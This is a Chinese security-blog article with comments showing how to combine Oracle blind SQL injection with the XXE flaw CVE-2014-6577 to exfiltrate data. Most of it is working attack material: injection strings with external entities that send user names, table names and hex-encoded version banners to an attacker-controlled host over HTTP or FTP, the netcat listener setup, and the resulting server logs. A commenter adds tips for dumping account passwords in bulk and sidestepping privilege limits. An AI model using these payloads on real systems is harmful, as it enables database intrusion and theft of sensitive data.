Oracle盲注结合XXE漏洞远程获取数据

crackershi 2015-05-12 16:24:00

0x00 前言


想必大家对SQL注入已经耳熟能详,对XML实体注入(简称XXE)也有所了解。本文主要讨论了一种在存在ORACLE盲注的情况下远程获取数据的方式。其实和UTL_HTTP远程获取的方法差不多,只不过原理不同。

0x01 漏洞简析


CVE-2014-6577,是Oracle在今年年初修补的XXE漏洞,已知受影响的范围:

11.2.0.3, 11.2.0.4, 12.1.0.1, 12.1.0.2,不排除那些已不受oracle支持的版本也存在此漏洞。攻击者可以通过利用构造SQL语句来触发XML解释器发送一个HTTP或者FTP请求,从而带来以下可能的威胁。

  • 数据泄露
  • SSRF
  • 端口扫描
  • 拒绝服务攻击。

等等……

0x02 漏洞利用


文献中给出的一个利用POC:

在远程主机上用nc监听21端口,当有连接后,输入220

select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "ftp://'||user||':bar@11.11.11.11/test"> %remote; %param1;]>'),'/l') from dual;

and

[root@localhost httpd]# busybox nc -vvlp 21
listening on [::]:21 ...
connect to [::ffff:11.11.11.11]:21 from [::ffff:22.22.22.22]:37040 ([::ffff: 22.22.22.22]:37040)
220
USER XXXX _WEB_ XXXX
220
PASS bar
^Csent 8, rcvd 33
punt!

在断开连接的同时,ORACLE会报以下错误

将把给出的POC变形,ftp请求换成http,

ORA-31000: 资源 'ftp://XXXX_WEB_XXXX:bar@11.11.11.11/test' 不是 XDB 方案文档
    

ORA-06512:  "SYS.XMLTYPE", line 310

ORA-06512:  line 1
…………

and

select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://11.11.11.11/'||user||'"> %remote; %param1;]>'),'/l') from dual

这样不用启动nc或者ftp服务端即可在http日志中收到请求:

22.22.22.22  - - [27/Apr/2015:07:56:53 -0400] "GET /XXXX_WEB_XXXX  HTTP/1.0" 404 294 "-" "-"

0x03 漏洞实战


某个搜索功能存在SQL注入漏洞

可以判断存在盲注,而且数据库基本能确定为oracle

XXX%'and 233=233 '%'='              页面正常
XXX%'and 233=2333 '%'='             页面无结果
XXX%'and 1=(select 1 from dual) '%'='   页面正常

构造如下语句 服务器收到如下请求:

XXX%'and 1=(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://11.11.11.11/'||(SELECT TABLE_NAME FROM (SELECT ROWNUM AS R,TABLE_NAME FROM USER_TABLES) WHERE R=1)||'"> %remote; %param1;]>'),'/l') from dual) and '%'='

and

22.22.22.22 - - [27/Apr/2015:22:00:46 -0400] "GET /EC_COMP_BINARY_INFO HTTP/1.0" 404 297 "-" "-"

还可以这么构造,一次返回数条结果

服务器收到如下请求:

对于结果中带空白符或者其他特殊符号的,在此处Oracle并不会自动URL编码,所以为了顺利的获得数据可以用oracle的自带函数utl_raw.cast_to_raw()将结果转换为HEX。

22.22.22.22 - - [27/Apr/2015:23:12:01 -0400] "GET /EC_COMP_BINARY_INFO////EC_COMP_BINARY_MAPPING HTTP/1.0" 404 323 "-" "-"

and

XXX%'and 1=(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://11.11.11.11/'||(SELECT utl_raw.cast_to_raw(BANNER) FROM (SELECT ROWNUM AS R,BANNER FROM v$version) WHERE R=1)||'////'||(SELECT utl_raw.cast_to_raw(BANNER) FROM (SELECT ROWNUM AS R,BANNER FROM v$version) WHERE R=2)||'"> %remote; %param1;]>'),'/l') from dual) and '%'='

收到的请求:

经过HEX解码可得

/Oracle Database 11g Enterprise Edition Release 11.2.0.2.0 - 64bit Production////PL/SQL Release 11.2.0.2.0 - Production

22.22.22.22 - - [28/Apr/2015:03:50:16 -0400] "GET /4F7261636C652044617461626173652031316720456E74657270726973652045646974696F6E2052656C656173652031312E322E302E322E30202D2036346269742050726F64756374696F6E////504C2F53514C2052656C656173652031312E322E302E322E30202D2050726F64756374696F6E HTTP/1.0" 404 510 "-" "-"

参考文献:


https://blog.netspi.com/advisory-xxe-injection-oracle-database-cve-2014-6577/

评论

R

Ricter 2015-05-12 16:57:42

哈,我原来就想过 MySQL 的这种 XXE,并测试过。当然,并没有漏洞存在。
没想到 Oracle 居然存在,真的是和一个 0day 失之交臂了。

X

xsser 2015-05-12 18:33:57

这个xxe能读取本地文件到外地么

S

sin 2015-05-12 23:21:37

和作者看来测试到一块去了。11g和12g因为安全原因,只有dba权限才能向外通过http等传输数据。而这个xxe漏洞则完全绕开了高版本权限限制。普通权限即可快速获得大量敏感数据。
顺便提2个自己的小技巧吧。
在内网中可以用python -m SimpleHTTPServer 443迅速一个webserver。然后oracle xxe数据可以在日志上清晰看到。
同时为了获得大量数据,可以用特定函数一次全部列,或者rownum<50的帐号密码等,oracle和mssql这样的函数还是挺多的。

牛肉包子 2015-05-12 23:37:52

@Ricter 刚刚看完 我还想去测试mysql 既然你搞了 就不去了 哈哈

C

crackershi

云标准制定 CISP ISO审核员

twitter weibo github wechat

随机分类

无线安全 文章:27 篇
业务安全 文章:29 篇
数据分析与机器学习 文章:12 篇
事件分析 文章:223 篇
区块链 文章:2 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录